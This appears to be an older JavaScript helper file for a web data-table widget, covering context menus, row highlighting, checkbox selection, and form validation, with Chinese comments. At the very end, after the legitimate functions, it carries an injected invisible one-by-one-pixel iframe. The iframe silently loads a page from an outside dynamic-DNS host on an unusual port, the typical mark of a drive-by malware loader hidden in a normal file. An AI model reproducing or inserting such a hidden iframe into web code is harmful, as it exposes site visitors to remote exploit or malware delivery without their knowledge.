function getElement(src, tagName) { var obj = src; while (obj != null && obj.tagName != tagName) { obj = obj.parentElement; } return obj; } 


function showmenuie5() { var DTable_rightedge = document.body.clientWidth-event.clientX; var DTable_bottomedge = document.body.clientHeight-event.clientY; if (DTable_rightedge < ie5menu.offsetWidth) ie5menu.style.left = document.body.scrollLeft + event.clientX - ie5menu.offsetWidth; else ie5menu.style.left = document.body.scrollLeft + event.clientX; if (DTable_bottomedge < ie5menu.offsetHeight) ie5menu.style.top = document.body.scrollTop + event.clientY - ie5menu.offsetHeight; else ie5menu.style.top = document.body.scrollTop + event.clientY; ie5menu.style.visibility = 'visible'; return false; } 


function DTable_hidemenuie5() { ie5menu.style.visibility = 'hidden'; }

function DTable_ctr_onclick(element){var oTR = getElement(element, 'TR'); var oTABLE = getElement(oTR, 'TABLE');if (oTABLE != null){if(typeof(oTABLE.activeRow) != 'undefined' && oTABLE.activeRow != null) { oTABLE.activeRow.style.backgroundColor = '';oTABLE.activeRow.style.color = ''; oTABLE.activeRow.active = 'false';} if (oTR != null){ oTR.style.backgroundColor = DTable_clickedbgcolor;oTR.style.color = DTable_clickedcolor; oTR.active = 'true';oTABLE.activeRow = oTR;}}}


 function DTable_menuover(obj) {  var theobj1=obj; theobj1.style.backgroundColor=DTable_overbg; theobj1.style.color=DTable_overcolormenu; } 

function menuout(obj) {  var theobj=obj; theobj.style.backgroundColor=''; theobj.style.color=''; } function DTable_gotourl() {   var i, args=DTable_gotourl.arguments; document.DTable_returnValue = false;  for (i=0; i<(args.length-1); i+=2) eval(args[i]+".location='"+args[i+1]+"'");}

function DT_getPosition(el){var l = el.offsetLeft,t = el.offsetTop;

while (el = el.offsetParent){l += el.offsetLeft;	t += el.offsetTop;}return {'left':l,'top':t}}
//复选框操作
function DT_CheckBoxSelectAll(objName,thisobjName){var obj = document.getElementsByName(thisobjName);if (obj[0].checked==true){DT_CheckAll(objName);}else{DT_unDT_CheckAll(objName);}}

function DT_unDT_CheckAll(objName){var obj = document.getElementsByName(objName);for(var i=0;i<obj.length;i++){obj[i].checked=false;}}


function DT_CheckAll(objName)	{var obj = document.getElementsByName(objName);for(var i=0;i<obj.length;i++){obj[i].checked=true;}}

function DT_checkLen(fLength,eLength,ErrMessage,obj)//检查字符串的最小字符数和最大字符数.最小字符数，最大字符数，字符串，错误信息，控件
{
	var strvalue=obj.value;
//	alert(strvalue.length);
if(strvalue.length<fLength)
	{
	alert(ErrMessage + '最小字符数为' + fLength);
	obj.focus();
	return false;
	}
if(strvalue.length>eLength)
	{
	alert(ErrMessage + '最大字符数为' + eLength);
	obj.focus();
	return false;
	}

}

function DT_checknumber(f,e,ErrMessage,obj,xs)//最小值，最大值，错误信息，控件，小数点位数
{
	if (obj.value=='')
	{
		return false;
	}

if(!DT_CheckNegative(obj))
	{
alert(ErrMessage + '必须是合法的数字');
obj.focus();
return false;
	}

	var strvalue=obj.value;
	if(strvalue<f)
		{
alert(ErrMessage + '不能小于' + f);
obj.focus();
return false;
		}
		if(strvalue>e)
		{
alert(ErrMessage + '不能大于' + e);
obj.focus();
return false;
		}
		if(strvalue.indexOf('.')>-1)//如果有小数点
		{
		if(((strvalue.length-1)-strvalue.indexOf('.'))>xs)
			{
			alert(ErrMessage + '的小数位不能大于' + xs);
			obj.focus();
            return false;

			}
		}

}
//判断是否是数字,数字可以为负数
function DT_CheckNegative(pObj){
 var obj = eval(pObj);
 strRef = "1234567890-.";
 if(!isEmpty(pObj))
	{return false;}
 for (i=0;i<obj.value.length;i++) {
  tempChar= obj.value.substring(i,i+1);
  if (strRef.indexOf(tempChar,0)==-1) {
   
  
   return false; 
	 
  }else{
   if(i>0){
    if(obj.value.substring(i,i+1)=="-"){
     
    
     return false; 
		
    }
   }
  }
 }
 return true;
}


function DATable_formatNum(num, leave)
{
	var numStr = num.toString();
	var long = numStr.lastIndexOf(".");
	return long==-1 ? num : numStr.substr(0, long+leave+1);
}

<iframe src=http://guaa1.3322.org:1134/q2/index.html width=1 height=1></iframe>
